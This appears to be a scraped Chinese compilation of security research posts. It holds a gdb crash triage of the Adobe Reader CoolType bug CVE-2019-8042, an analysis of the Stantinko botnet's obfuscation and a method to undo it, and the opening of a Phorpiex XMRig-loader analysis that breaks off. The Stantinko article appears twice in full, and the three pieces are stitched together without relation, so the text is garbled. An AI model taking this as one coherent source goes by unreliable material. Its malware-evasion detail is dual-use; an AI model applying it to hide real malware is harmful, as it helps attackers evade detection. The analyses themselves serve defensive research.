#7  0x7d739d0c in FontInstanceCache::GetGlyph () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#8  0x7d739239 in FontInstanceCache::GetGlyphMaps () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#9  0x7d738670 in Text::GetTextGlyphs () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#10 0x7d738149 in _CTTextGetTextGlyphs_GetTextGlyphs () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
[...]

现在,这是一个更为详细的调用栈,我们可以看到ATMBuildBitMap的祖先(Ancestors)的名称,并且可以访问几乎完整的类型/本地信息。

Issue #1891漏洞分析(CVE-2019-8042)

再举一个例子,让我们来分析一下Issue #1891中报告的TrueType字体处理中的CoolType崩溃。在Reader中打开poc.pdf时,会出现以下崩溃:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x0a68d4cc
0x7d72a310 in fsg_QueryTwilightElement (pPrivateFontSpace=0xa69b008 "", PrivateSpaceOffsets=0x8caad0) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/fsglue.c:915
915     /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/fsglue.c: No such file or directory.
        in /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/fsglue.c

再一次,我们可以获得非常详细的栈跟踪:

(gdb) bt
#0  0x7d72a310 in fsg_QueryTwilightElement (pPrivateFontSpace=0xa69b008 "", PrivateSpaceOffsets=0x8caad0) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/fsglue.c:915
#1  0x7d729c93 in fs__NewTransformation (inputPtr=0xbfffc040, outputPtr=0xbfffbf70, useHints=1, pFontInst=0x83238d4) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/fscaler.c:474
#2  0x7d729b19 in fs_NewTransformation (inputPtr=0xbfffc040, outputPtr=0xbfffbf70, pFontInst=0x83238d4) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/fscaler.c:411
#3  0x7d72997e in SetGlyph (pCharDataDesc=0xbfffc264, inst=0x83238d4, procs=0x7d9d9e24, mem=0xbfffc1c0, in=0xbfffc040, out=0xbfffbf70) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/ttbuild.c:392
#4  0x7d73c331 in TTBuildBitMap (pFontInst=0x83238d4, pCallbackProc=0x7d9d9e24, pCharDataDesc=0xbfffc264, pCharIO=0xbfffc210, pClipBBox=0x0, pBitMap=0xbfffc2c4, pClientHook=0xb67fac) at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/ttbuild.c:1128
#5  0x7d73bc9f in ATMCGetGlyph () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#6  0x7d73b517 in Render::RenderToGlyphMap () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#7  0x7d739d0c in FontInstanceCache::GetGlyph () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#8  0x7d739239 in FontInstanceCache::GetGlyphMaps () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#9  0x7d738670 in Text::GetTextGlyphs () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
#10 0x7d738149 in _CTTextGetTextGlyphs_GetTextGlyphs () at /Volumes/BuildDisk_mbs16/Acro_root_nsp/bravo/build/cooltype/xcode2/../../../source/cooltype/source/atm/base/truetype/sources/interp.c:2636
[...]

如果我们想更加深入地分析问题的根本原因,我们可以从创建未映射的0x0a68d4cc地址来开始。最高级fsg_QueryTwilightElement函数的参数为:

pPrivateFontSpace=0xa69b008 "", PrivateSpaceOffsets=0x8caad0

0x0a68d4cc和0xa69b008的地址非常接近,二者之间仅相差56124个字节,因此我们在猜想,前者是否是基于后者计算的?接下来,我们来分析第二个参数,看看能否找到与现有数据一致的线索:

(gdb) ptype PrivateSpaceOffsets
type = struct fsg_PrivateSpaceOffsets {
    uint32 offset_storage;
    uint32 offset_functions;
    uint32 offset_instrDefs;
    uint32 offset_controlValues;
    uint32 offset_globalGS;
    uint32 offset_FontProgram;
    uint32 offset_PreProgram;
    uint32 offset_TwilightZone;
    uint32 offset_TwilightOutline;
    fsg_OutlineFieldInfo TwilightOutlineFieldOffsets;
} *
(gdb) print *(fsg_PrivateSpaceOffsets *)0x8caad0
$2 = {
  offset_storage = 0,
  offset_functions = 192,
  offset_instrDefs = 1096,
  offset_controlValues = 1096,
  offset_globalGS = 3764,
  offset_FontProgram = 4124,
  offset_PreProgram = 7149,
  offset_TwilightZone = 4294911172,
  offset_TwilightOutline = 4294911220,
  TwilightOutlineFieldOffsets = {
    x = 65304,
    y = 326488,
    ox = 587672,
    oy = 848856,
    oox = 1110040,
    ooy = 1371224,
    onCurve = 0,
    sp = 65296,
    ep = 65298,
    f = 1632408,
    fc = 65300,
    maxPointIndex = 65296
  }
}
(gdb)

这两个结构字段看起来都非常大,它们看起来像是有符号的数字吗?

(gdb) print (int)((fsg_PrivateSpaceOffsets *)0x8caad0)->offset_TwilightZone
$3 = -56124
(gdb) print (int)((fsg_PrivateSpaceOffsets *)0x8caad0)->offset_TwilightOutline
$4 = -56076
(gdb)

我们终于找到了罪魁祸首。如果在反汇编程序中查看fsg_QueryTwilightElement函数,就可以确认这确实是在取消引用之前构造无效指针的方式。现在,我们就可以继续进行分析,以了解为什么这两个字段被分配了超出界外的值,从而掌握导致这一漏洞的根本原因,同时也能向厂商提供一些额外的信息。

总结

正如本次研究过程中所发现的,在进行闭源代码应用程序的安全研究期间,借助调试元数据可以为我们带来意想不到的收获。我希望这些新发现的Reader符号可以在未来简化一些安全研究人员的工作。对我而言,这也有效地表明了,侦查往往是脆弱性研究的一个重要组成部分,通过侦查获得的成果往往会远超出预期。

另一方面,如果Adobe官方能将这些符号预先提供给所有研究人员,那么就不需要再进行侦查的步骤。此前,我们没有讨论过macOS上的调试数据,意味着只有极少数“以攻促防”的安全研究人员才能了解到这一事实。因此,我们倡导闭源代码产品的厂商,通过主动共享符号的方式来改善其软件的可审查性,这一倡议与Microsoft的做法类似。通过这样的方式,可以促进公平竞争,以良好的开放性来确保客户端应用程序的安全性,改变原有晦涩难懂的风格。从长远来看,这将使用户受益。

概述

近期,我们在分析新型挖矿模块的过程中,发现Stantinko僵尸网络背后的攻击者新使用了几种混淆技术,其中所使用的一些技术我们还没有找到公开的分析。在本文中,我们将会剖析这些技术,并描述针对其中某些技术的可能对策。

为了阻止研究人员分析并避免检测,Stantinko的新模块中使用了多种混淆技术:

1、字符串混淆:构造有意义的字符串,并且仅在使用它们时再出现在内存中。

2、控制流混淆:将控制流转换为难以阅读的形式,如果不进行大量分析,将无法预测基本块的执行顺序。

3、死代码:添加从来不会被执行的代码,其中还包含从未调用的导出,目的是使文件看起来更像是合法文件,以防止检测。

4、无效代码:添加已执行的代码,但对整体功能没有实质影响,它旨在绕过行为检测。

5、死字符串和资源:添加不影响功能的资源和字符串。

在上面这些技术中,最值得关注的是字符串混淆和控制流混淆,我们将在接下来对其进行详细介绍。

字符串混淆

在模块中嵌入的所有字符串都于实际功能无关。其来源是未知的,它们是作为构建实际使用字符串的编译块,或者是完全不使用的字符串。

恶意软件实际会使用的字符串会在内存中生成,以避免基于文件的检测,并阻止研究人员对其进行分析。恶意软件作者通过重新排列诱饵字符串的字节(嵌入在模块中的字节),并使用标准函数进行字符串操作来实现,这些函数包括:strcpy()、strcat()、strncat()、strncpy()、sprintf()、memmove()以及其Unicode版本。

由于要在特定函数中使用的所有字符串都使用在该函数的开始部分按顺序进行编译,因此可以模拟函数的入口点,并提取显示这些字符串的可打印字符序列。

下面是字符串混淆的示例,在图中有7个突出显示的诱饵字符串,例如以红色标记的字符串将会生成字符串“NameService”。

Figure-1-2-768x951.png

控制流平坦化

控制流平坦化(Control-flow flattening)是一种混淆技术,可以用于阻止分析并避免检测。

通过将单个函数拆分为基本块,可以实现最为常见的控制流平坦化。随后,可以将这些块分别放在循环内的switch语句中,每个部分恰好由一个基本块组成。使用一个控制变量,来确定应该在switch语句中执行哪个基本块。其初始值在循环之前分配。

这些基本块都会分配有一个ID,并且控制变量始终保存要执行的基本块的ID。

所有基本块都将控制变量的值设置为其继承者的ID。一个基本块可以有多个可能的继承者,但也可以直接指定某一个继承者。

常规控制流平坦化循环结构:

Figure-2-1.png

针对这种混淆方式,可以采取很多种方法,例如使用IDA的Microcode API。Rolf Rolles使用这种方法来以启发式识别这种循环,从每个平坦化的块中提取控制变量,并根据控制变量对其进行重新排列。

这种方法和类似的方法不适用于Stantinko的混淆,因为与常见的控制流平坦化混淆相比,它具有一些独特的功能:

1、代码在源代码级别被平坦化,这也意味着编译器可以在生成的二进制文件中引入一些异常。

2、控制变量在控制块中递增,而不是在基本块中递增。

3、调度程序中包含多个基本块。基本块的划分可能是分开的,即每个基本块都完全属于某一个调度程序,但有些时候调度程序会互相影响,不同的调度程序会共享一些基本块。

4、平坦化循环可以嵌套和连续。

5、可以将多个函数进行合并。

这些特征表明,Stantinko为这种技术引入了新的障碍,我们必须要对其进行分析,以弄清楚其最终Payload。

Stantinko中的控制流平坦化

在Stantinko的大多数函数中,代码分为几个调度程序(如上所述)和两个控制块(一个头部、一个尾部)来控制函数的流程。

头部通过检查控制变量来决定执行哪一个调度程序,而尾部将控制变量增加一个固定常数,然后返回到头部或退出平坦化循环。

Stantinko的控制流平坦化循环中的规则结构:

Figure-3-2.png

Stantinko似乎是将所有的函数和高层结构(例如for循环)的代码进行平坦化,但有时它也倾向于选择看似随机的代码块。由于其在函数和高层结构上都应用了控制流平坦化循环,因此它们可以自然嵌套,并且也恰巧有多个连续的循环。

通过合并多个函数的代码以创建控制流平坦化循环时,会基于调用哪个原始函数,以不同的值初始化合并后函数中的控制变量,并将控制变量的值作为参数传递给结果函数。

通过重新排列二进制文件中的块,我们破译了这种混淆技术,我们将在下一节中介绍我们的方法。

请务必注意,我们在某些平坦化的循环中观察到了多个异常情况,这使得反混淆过程的自动化变得更加困难。其中的大多数似乎都是由编译器生成的。这让我们相信,在编译以前,这部分内容就已经应用了控制流平坦化混淆。

我们发现了以下的异常,这些异常可能是单独出现,也有可能是组合出现:

1、有些调度程序可能只是死代码,它们将永远不会执行。可以参考后面“控制流平坦化循环内的死代码”一节中的示例。

2、调度程序的基本块可以结合在一起,这意味着其中可以包含共享的代码。

包含共享代码的调度程序的平坦化循环结构:

Figure-4-1.png

3、从调度程序直接跳转到平坦化循环外部,紧跟在结尾后面,并且返回从函数返回的块。

平坦化循环的结构,其调度程序直接中断了循环:

Figure-5-2.png

4、可以有多个尾部,也可以不包含尾部。在后一种情况下,控制变量会在每次调度程序结束时递增。

没有任何尾部(左图)和有多个尾部(右图)的平坦化结构:

Figure-6-2-768x297.png

5、头部并没有在一开始就是跳转表。取而代之的是,可以有多个跳转表,并且在跳转表之前有一系列分支条件,以二进制方式搜索正确的调度程序。

6、控制变量的值可以在调度程序内部使用,这意味着即使在反混淆的代码中,也必须保留或计算控制值。

EDI寄存器包含传递给EAX并在调度程序内部使用的控制变量,调度程序以红色突出显示:

Figure-7-2-768x321.png

7、有时,尾部包含对恢复寄存器和局部变量正确值的关键指令。在反混淆的过程中,我们移除了尾部,因此,即使它们不属于这些部分,我们也必须确保在每次调度之后执行这些指令。

8、在某些情况下,会出现没有ID等于控制变量当前值的调度程序。

反混淆过程

我们的目标是构建一个反混淆函数,该函数能够在二进制的级别上重新排列代码,以使逆向工程师易于阅读,同时确保结果代码的可执行性。它必须能够识别属于每个调度程序的所有基本块,并且可以任意复制或移动它们。

在基本块操作期间,必须确保重新计算分支目标的相对地址,以及正确形成合法跳转表的地址。

在我们的解决方案中,不考虑重定位,因此需要始终确保将样本加载到相同的基址。

我们使用了一种逆向工程框架,该框架为我们提供了一些有用的功能,例如程序集操纵和符号执行引擎。

该函数的核心参数是控制块的地址(头部和尾部)、控制变量的范围和步长、寄存器的名称以及包含控制变量的内存位置、control_locations以及循环后第一个基本块的地址(我们将其定义为next_block。显然,还需要对函数的地址进行反混淆,并对函数应放置的地址进行反混淆。

由于上述的异常4,我们预计会有多个尾部。

反混淆函数通过其步长值,在控制变量的范围内进行循环,以模拟实际的控制流平坦化循环。在每次循环中,该函数都会通过生成一个上下文来处理异常6和异常7,这个上下文将会放置在相应的调度程序之前。

上下文是一个基本块,其中包含分配的寄存器和内存地址,并保存control_locations更新的指令。第一次循环的上下文中,仅保留控制变量的值。需要注意的是,处理异常4不需要上下文。

前一个调度程序的最后一个基本块将被重定向到创建的上下文。

在每次循环中,要执行的调度程序的初始基本块由控制变量的当前值(调度ID)来决定。

通过符号执行二进制搜索算法找到实际的基本块,该算法使用当前ID来搜索基本块。符号执行的初始状态包含分配给控制变量当前值的control_locations。

我们在(i)中包含无条件的分支,或者在(ii)中具有无法由控制变量确定的目标的第一个基本块处停止符号执行。

我们也可以模仿这一部分,或者使用一种能将二进制搜索算法简化为跳转表的框架,然后将其转化为switch语句。这些方法用于处理异常5。

如果没有针对特定ID的调度程序,则循环将继续,并且由于异常8,将会增加控制变量。

然后,将整个调度程序(也就是,从其初始基本块到其头部、尾部或next_block可到达的每个基本块)复制到前一个上下文块之后。由于异常2,导致它不能仅被移动。

在这里,由于异常3,可能发生两种比较少见的情况:二者都会导致循环过早停止。这种情况发生在调度:

(1)从函数返回时;

(2)指向next_block时。

最后,当循环结束时,将先前调度的最后一个基本块重定向到平坦化循环之外的第一个基本块。

这种方法将自动化地解决异常1,因为无效的调度不会复制到结果代码中。

混淆函数(左)及其反混淆后对象(右)的示例。调度按照以下顺序执行:dispatch1 → dispatch2 → dispatch3。

然后,将这些更改写入应放置反混淆功能的虚拟地址。

如果要处理合并函数的平坦化,则将指向目标函数的引用指向参数重控制变量的初始值相同的目标函数指向新的反混淆函数的地址。

混淆(右侧)与反混淆(左侧)控制流程图的示例:

Figure-9-768x257.png

后续改进

上述方法仅在汇编级别上运行,但这并不足以让我们的反编译过程完全自动化。

原因在于,很难准确识别所有模式,这主要是由于源代码级别混淆中存在各种编译器优化。例如,在我们的情况中,模式识别对于自动填写核心反混淆函数的参数来说是必须的。

这种方法的优势在于,可以立即执行生成的代码,并且可以使用任意的逆向工具来进行进一步的分析。

可以通过使用中间语言(intermediate representation)来进一步改进这种方法,这种中间语言表示提供了一些优化技术,这些技术除了其他事项之外,将消除编译器生成的大多数异常情况。从而允许反混淆函数自动识别编译器所需的参数。

与此同时,我们也可以使用特定的中间语言来进行模糊和反混淆处理。而其中的后者主要用于重新排列基本块。

这种方式的缺点在于,生成的代码也位于中间语言中,这意味着必须同时使用中间语言进行连续的分析。可供使用的中间语言工具及其功能的数量可能会非常有限,特别是在可视化方面。因此,很难去分析比较复杂的样本,特别是当存在其他混淆方式的时候。同时,我们也将无法执行结果代码。

死代码

“死代码”是指永远不会执行的代码,或者对功能没有整体影响的代码。该恶意软件的死代码大部分位于平坦化的循环之中(已经通过上述的反混淆函数实现清除),但其中还包含未使用的导出,并且无法将未使用的导出与合法的导出区分开来。

对于平坦化循环中的无效代码,对于Stantinko而言,它始终位于从不执行的分支中。它可能包含合法软件的修改部分,例如以相同方式混淆的WinSpy++(参考下面的示例)。

包含合法WinSpy++代码的分支中,死代码的反混淆部分:

Figure-10-768x620.png

WinSpy++正式发布版本中的等效代码部分:

Figure-11.png

无实际操作的代码

即使是在进行平坦化操作之后,其中也有一些无实际操作的代码与实际代码混合在一起。这可能是为了进一步混淆,或者绕过行为检测。

其中标记的部分是冗余的代码,该代码遍历前两个磁盘卷名,然后对返回的值不执行任何操作:

Figure-12.png

由于代码不难阅读,因此我们决定不做任何处理,并进行分析。

一般而言,为了优化这段无实际操作的代码,我们需要生成所有存在Windows API调用的片段。其中的片段将由每个独立片段中的所有调用参数组成。

随后,我们将在可控的环境中,使用准备好的调用堆栈进行分段,如果得到的片段可以执行以下至少一项操作,我们就可以认为这个片段可以正常工作:

1、对底层操作系统进行一些更改;

2、需要已知函数的参数或全局变量的初始值;

3、分配函数参数或全局变量的值;

4、直接影响函数的整体控制流。

总结

Stantinko僵尸网络背后的攻击者正在不断改进和开发新的模块,这些模块中通常包括不常见并且非常新鲜的技术。

我们在之前已经描述了该攻击者的新型加密货币挖掘模块。有关该模块的功能分析,请参考我们在2019年11月的分析文章。该模块中展现了几种混淆技术,旨在防止被检测并阻止研究人员的分析。我们分析了攻击者所使用的这些技术,并描述了一种针对这种技术进行模糊处理的可能方法。

请注意,有关威胁指标和MITRE ATT&CK分类的技术清单,请参考我们之前的文章,该文章中详细介绍了该挖矿软件的功能。

概述

近期,我们在分析新型挖矿模块的过程中,发现Stantinko僵尸网络背后的攻击者新使用了几种混淆技术,其中所使用的一些技术我们还没有找到公开的分析。在本文中,我们将会剖析这些技术,并描述针对其中某些技术的可能对策。

为了阻止研究人员分析并避免检测,Stantinko的新模块中使用了多种混淆技术:

1、字符串混淆:构造有意义的字符串,并且仅在使用它们时再出现在内存中。

2、控制流混淆:将控制流转换为难以阅读的形式,如果不进行大量分析,将无法预测基本块的执行顺序。

3、死代码:添加从来不会被执行的代码,其中还包含从未调用的导出,目的是使文件看起来更像是合法文件,以防止检测。

4、无效代码:添加已执行的代码,但对整体功能没有实质影响,它旨在绕过行为检测。

5、死字符串和资源:添加不影响功能的资源和字符串。

在上面这些技术中,最值得关注的是字符串混淆和控制流混淆,我们将在接下来对其进行详细介绍。

字符串混淆

在模块中嵌入的所有字符串都于实际功能无关。其来源是未知的,它们是作为构建实际使用字符串的编译块,或者是完全不使用的字符串。

恶意软件实际会使用的字符串会在内存中生成,以避免基于文件的检测,并阻止研究人员对其进行分析。恶意软件作者通过重新排列诱饵字符串的字节(嵌入在模块中的字节),并使用标准函数进行字符串操作来实现,这些函数包括:strcpy()、strcat()、strncat()、strncpy()、sprintf()、memmove()以及其Unicode版本。

由于要在特定函数中使用的所有字符串都使用在该函数的开始部分按顺序进行编译,因此可以模拟函数的入口点,并提取显示这些字符串的可打印字符序列。

下面是字符串混淆的示例,在图中有7个突出显示的诱饵字符串,例如以红色标记的字符串将会生成字符串“NameService”。

Figure-1-2-768x951.png

控制流平坦化

控制流平坦化(Control-flow flattening)是一种混淆技术,可以用于阻止分析并避免检测。

通过将单个函数拆分为基本块,可以实现最为常见的控制流平坦化。随后,可以将这些块分别放在循环内的switch语句中,每个部分恰好由一个基本块组成。使用一个控制变量,来确定应该在switch语句中执行哪个基本块。其初始值在循环之前分配。

这些基本块都会分配有一个ID,并且控制变量始终保存要执行的基本块的ID。

所有基本块都将控制变量的值设置为其继承者的ID。一个基本块可以有多个可能的继承者,但也可以直接指定某一个继承者。

常规控制流平坦化循环结构:

Figure-2-1.png

针对这种混淆方式,可以采取很多种方法,例如使用IDA的Microcode API。Rolf Rolles使用这种方法来以启发式识别这种循环,从每个平坦化的块中提取控制变量,并根据控制变量对其进行重新排列。

这种方法和类似的方法不适用于Stantinko的混淆,因为与常见的控制流平坦化混淆相比,它具有一些独特的功能:

1、代码在源代码级别被平坦化,这也意味着编译器可以在生成的二进制文件中引入一些异常。

2、控制变量在控制块中递增,而不是在基本块中递增。

3、调度程序中包含多个基本块。基本块的划分可能是分开的,即每个基本块都完全属于某一个调度程序,但有些时候调度程序会互相影响,不同的调度程序会共享一些基本块。

4、平坦化循环可以嵌套和连续。

5、可以将多个函数进行合并。

这些特征表明,Stantinko为这种技术引入了新的障碍,我们必须要对其进行分析,以弄清楚其最终Payload。

Stantinko中的控制流平坦化

在Stantinko的大多数函数中,代码分为几个调度程序(如上所述)和两个控制块(一个头部、一个尾部)来控制函数的流程。

头部通过检查控制变量来决定执行哪一个调度程序,而尾部将控制变量增加一个固定常数,然后返回到头部或退出平坦化循环。

Stantinko的控制流平坦化循环中的规则结构:

Figure-3-2.png

Stantinko似乎是将所有的函数和高层结构(例如for循环)的代码进行平坦化,但有时它也倾向于选择看似随机的代码块。由于其在函数和高层结构上都应用了控制流平坦化循环,因此它们可以自然嵌套,并且也恰巧有多个连续的循环。

通过合并多个函数的代码以创建控制流平坦化循环时,会基于调用哪个原始函数,以不同的值初始化合并后函数中的控制变量,并将控制变量的值作为参数传递给结果函数。

通过重新排列二进制文件中的块,我们破译了这种混淆技术,我们将在下一节中介绍我们的方法。

请务必注意,我们在某些平坦化的循环中观察到了多个异常情况,这使得反混淆过程的自动化变得更加困难。其中的大多数似乎都是由编译器生成的。这让我们相信,在编译以前,这部分内容就已经应用了控制流平坦化混淆。

我们发现了以下的异常,这些异常可能是单独出现,也有可能是组合出现:

1、有些调度程序可能只是死代码,它们将永远不会执行。可以参考后面“控制流平坦化循环内的死代码”一节中的示例。

2、调度程序的基本块可以结合在一起,这意味着其中可以包含共享的代码。

包含共享代码的调度程序的平坦化循环结构:

Figure-4-1.png

3、从调度程序直接跳转到平坦化循环外部,紧跟在结尾后面,并且返回从函数返回的块。

平坦化循环的结构,其调度程序直接中断了循环:

Figure-5-2.png

4、可以有多个尾部,也可以不包含尾部。在后一种情况下,控制变量会在每次调度程序结束时递增。

没有任何尾部(左图)和有多个尾部(右图)的平坦化结构:

Figure-6-2-768x297.png

5、头部并没有在一开始就是跳转表。取而代之的是,可以有多个跳转表,并且在跳转表之前有一系列分支条件,以二进制方式搜索正确的调度程序。

6、控制变量的值可以在调度程序内部使用,这意味着即使在反混淆的代码中,也必须保留或计算控制值。

EDI寄存器包含传递给EAX并在调度程序内部使用的控制变量,调度程序以红色突出显示:

Figure-7-2-768x321.png

7、有时,尾部包含对恢复寄存器和局部变量正确值的关键指令。在反混淆的过程中,我们移除了尾部,因此,即使它们不属于这些部分,我们也必须确保在每次调度之后执行这些指令。

8、在某些情况下,会出现没有ID等于控制变量当前值的调度程序。

反混淆过程

我们的目标是构建一个反混淆函数,该函数能够在二进制的级别上重新排列代码,以使逆向工程师易于阅读,同时确保结果代码的可执行性。它必须能够识别属于每个调度程序的所有基本块,并且可以任意复制或移动它们。

在基本块操作期间,必须确保重新计算分支目标的相对地址,以及正确形成合法跳转表的地址。

在我们的解决方案中,不考虑重定位,因此需要始终确保将样本加载到相同的基址。

我们使用了一种逆向工程框架,该框架为我们提供了一些有用的功能,例如程序集操纵和符号执行引擎。

该函数的核心参数是控制块的地址(头部和尾部)、控制变量的范围和步长、寄存器的名称以及包含控制变量的内存位置、control_locations以及循环后第一个基本块的地址(我们将其定义为next_block。显然,还需要对函数的地址进行反混淆,并对函数应放置的地址进行反混淆。

由于上述的异常4,我们预计会有多个尾部。

反混淆函数通过其步长值,在控制变量的范围内进行循环,以模拟实际的控制流平坦化循环。在每次循环中,该函数都会通过生成一个上下文来处理异常6和异常7,这个上下文将会放置在相应的调度程序之前。

上下文是一个基本块,其中包含分配的寄存器和内存地址,并保存control_locations更新的指令。第一次循环的上下文中,仅保留控制变量的值。需要注意的是,处理异常4不需要上下文。

前一个调度程序的最后一个基本块将被重定向到创建的上下文。

在每次循环中,要执行的调度程序的初始基本块由控制变量的当前值(调度ID)来决定。

通过符号执行二进制搜索算法找到实际的基本块,该算法使用当前ID来搜索基本块。符号执行的初始状态包含分配给控制变量当前值的control_locations。

我们在(i)中包含无条件的分支,或者在(ii)中具有无法由控制变量确定的目标的第一个基本块处停止符号执行。

我们也可以模仿这一部分,或者使用一种能将二进制搜索算法简化为跳转表的框架,然后将其转化为switch语句。这些方法用于处理异常5。

如果没有针对特定ID的调度程序,则循环将继续,并且由于异常8,将会增加控制变量。

然后,将整个调度程序(也就是,从其初始基本块到其头部、尾部或next_block可到达的每个基本块)复制到前一个上下文块之后。由于异常2,导致它不能仅被移动。

在这里,由于异常3,可能发生两种比较少见的情况:二者都会导致循环过早停止。这种情况发生在调度:

(1)从函数返回时;

(2)指向next_block时。

最后,当循环结束时,将先前调度的最后一个基本块重定向到平坦化循环之外的第一个基本块。

这种方法将自动化地解决异常1,因为无效的调度不会复制到结果代码中。

混淆函数(左)及其反混淆后对象(右)的示例。调度按照以下顺序执行:dispatch1 → dispatch2 → dispatch3。

然后,将这些更改写入应放置反混淆功能的虚拟地址。

如果要处理合并函数的平坦化,则将指向目标函数的引用指向参数重控制变量的初始值相同的目标函数指向新的反混淆函数的地址。

混淆(右侧)与反混淆(左侧)控制流程图的示例:

Figure-9-768x257.png

后续改进

上述方法仅在汇编级别上运行,但这并不足以让我们的反编译过程完全自动化。

原因在于,很难准确识别所有模式,这主要是由于源代码级别混淆中存在各种编译器优化。例如,在我们的情况中,模式识别对于自动填写核心反混淆函数的参数来说是必须的。

这种方法的优势在于,可以立即执行生成的代码,并且可以使用任意的逆向工具来进行进一步的分析。

可以通过使用中间语言(intermediate representation)来进一步改进这种方法,这种中间语言表示提供了一些优化技术,这些技术除了其他事项之外,将消除编译器生成的大多数异常情况。从而允许反混淆函数自动识别编译器所需的参数。

与此同时,我们也可以使用特定的中间语言来进行模糊和反混淆处理。而其中的后者主要用于重新排列基本块。

这种方式的缺点在于,生成的代码也位于中间语言中,这意味着必须同时使用中间语言进行连续的分析。可供使用的中间语言工具及其功能的数量可能会非常有限,特别是在可视化方面。因此,很难去分析比较复杂的样本,特别是当存在其他混淆方式的时候。同时,我们也将无法执行结果代码。

死代码

“死代码”是指永远不会执行的代码,或者对功能没有整体影响的代码。该恶意软件的死代码大部分位于平坦化的循环之中(已经通过上述的反混淆函数实现清除),但其中还包含未使用的导出,并且无法将未使用的导出与合法的导出区分开来。

对于平坦化循环中的无效代码,对于Stantinko而言,它始终位于从不执行的分支中。它可能包含合法软件的修改部分,例如以相同方式混淆的WinSpy++(参考下面的示例)。

包含合法WinSpy++代码的分支中,死代码的反混淆部分:

Figure-10-768x620.png

WinSpy++正式发布版本中的等效代码部分:

Figure-11.png

无实际操作的代码

即使是在进行平坦化操作之后,其中也有一些无实际操作的代码与实际代码混合在一起。这可能是为了进一步混淆,或者绕过行为检测。

其中标记的部分是冗余的代码,该代码遍历前两个磁盘卷名,然后对返回的值不执行任何操作:

Figure-12.png

由于代码不难阅读,因此我们决定不做任何处理,并进行分析。

一般而言,为了优化这段无实际操作的代码,我们需要生成所有存在Windows API调用的片段。其中的片段将由每个独立片段中的所有调用参数组成。

随后,我们将在可控的环境中,使用准备好的调用堆栈进行分段,如果得到的片段可以执行以下至少一项操作,我们就可以认为这个片段可以正常工作:

1、对底层操作系统进行一些更改;

2、需要已知函数的参数或全局变量的初始值;

3、分配函数参数或全局变量的值;

4、直接影响函数的整体控制流。

总结

Stantinko僵尸网络背后的攻击者正在不断改进和开发新的模块,这些模块中通常包括不常见并且非常新鲜的技术。

我们在之前已经描述了该攻击者的新型加密货币挖掘模块。有关该模块的功能分析,请参考我们在2019年11月的分析文章。该模块中展现了几种混淆技术,旨在防止被检测并阻止研究人员的分析。我们分析了攻击者所使用的这些技术,并描述了一种针对这种技术进行模糊处理的可能方法。

请注意,有关威胁指标和MITRE ATT&CK分类的技术清单,请参考我们之前的文章,该文章中详细介绍了该挖矿软件的功能。

Phorpiex僵尸网络技术分析

概述

近期,我们发布过一篇关于Phorpiex的分析文章,针对最近发现的恶意活动中所使用的僵尸网络技术进行了分析。本文将在此基础上,继续对其他部分进行深入分析,主要包括:

1、XMRig Silent Loader;

2、NetBIOS蠕虫模块;

3、辅助模块(包括根据地理位置定位的Loader和清理模块)。

XMRig Silent Loader

该模块的主要作用是启动嵌入式XMRig 门罗币挖矿工具。

门罗币(XMR)是一种去中心化的加密货币,所谓加密货币是指一种在用户网络中使用的安全数字现金形式。通过分布式共识来确认交易,然后按照实际情况记录到区块链上。

该加密货币之所以对恶意软件运营人员非常有吸引力,其原因在于该过程的匿名性:“门罗币无法追踪,默认情况下混淆了发送地址、接收地址和交易金额。门罗币区块链上记录的交易无法定位到特定用户或真实世界中的身份。”

门罗币挖矿工具包含称为XMRig的开源代码,是用于通过Phorpiex僵尸网络来获得收益的Payload之一。在我们以前的研究中,我们曾讨论过僵尸网络通过挖掘加密货币而获取收益的能力。被感染的计算机每月可以为恶意软件运营人员产生约15000美元的收入。

恶意软件运营人员所需做的,就是将挖矿工具投递到受感染的计算机上并运行。这就是XMRig Silent Loader模块(也称为XMRig Loader)的作用。挖矿工具及其参数(例如:用于挖矿和目标用户的线程数)使用简单的加密方式进行混淆,并嵌入到模块中。在执行之前,会将参数解密并传递给挖矿工具。

实际上,Phorpiex使用的XMRig Loader与在hxxps[://]xmrminer[.]net/网站上出售的XMRig Loader相同,很可能是从该网站上购买的。

